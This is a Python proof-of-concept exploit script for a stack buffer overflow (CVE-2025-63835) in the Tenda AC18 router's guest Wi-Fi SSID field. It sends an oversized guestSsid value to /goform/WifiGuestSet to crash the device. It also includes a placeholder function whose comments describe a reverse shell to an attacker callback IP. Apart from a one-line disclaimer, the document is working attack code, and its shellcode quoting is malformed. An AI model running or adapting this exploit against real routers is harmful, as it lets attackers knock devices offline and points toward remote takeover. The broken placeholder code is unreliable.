CVE-2025-63835

#!/usr/bin/env python3 """ CVE-2025-63835 PoC - Tenda AC18 guestSsid Stack Buffer Overflow Note: This PoC is for educational and security research purposes only. Unauthorized access to computer systems is illegal. """ import requests import sys def exploit_tenda_ac18(target_ip, attacker_ip="0.0.0.0", port=80): """ Exploit CVE-2025-63835 by sending oversized guestSsid parameter to /goform/WifiGuestSet endpoint Args: target_ip: Target router IP address attacker_ip: Attacker controlled IP for reverse shell callback port: Target port (default 80) """ url = f"http://{target_ip}:{port}/goform/WifiGuestSet" # Generate payload with 600 bytes to trigger overflow # Adjust length based on target firmware version padding_length = 600 payload = "A" * padding_length # Prepare POST data data = { "guestSsid": payload, "guestEn": "1", "time": "999999", "password": "guest1234" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded", "Referer": f"http://{target_ip}/wifi_guest.asp" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {padding_length} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") # Check if device crashes (no response) if response.status_code == 0 or response.text == "": print("[!] Target device may have crashed - no response received") return True except requests.exceptions.Timeout: print("[!] Request timed out - device may have crashed") return True except requests.exceptions.ConnectionError: print("[!] Connection failed - device may be offline/crashed") return True except Exception as e: print(f"[-] Error: {str(e)}") return False return False def generate_shellcode(callback_ip, callback_port=4444): """ Generate shellcode for reverse shell connection This would be integrated into the overflow for RCE """ # MIPS shellcode for Tenda AC18 (placeholder) shellcode = f"" # Connect back to {callback_ip}:{callback_port} # Execute /bin/sh or telnetd """ return shellcode if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-63835.py <target_ip> [callback_ip] [port]") print("Example: python3 cve-2025-63835.py 192.168.0.1 10.0.0.1 80") sys.exit(1) target = sys.argv[1] callback = sys.argv[2] if len(sys.argv) > 2 else "0.0.0.0" port = int(sys.argv[3]) if len(sys.argv) > 3 else 80 exploit_tenda_ac18(target, callback, port)

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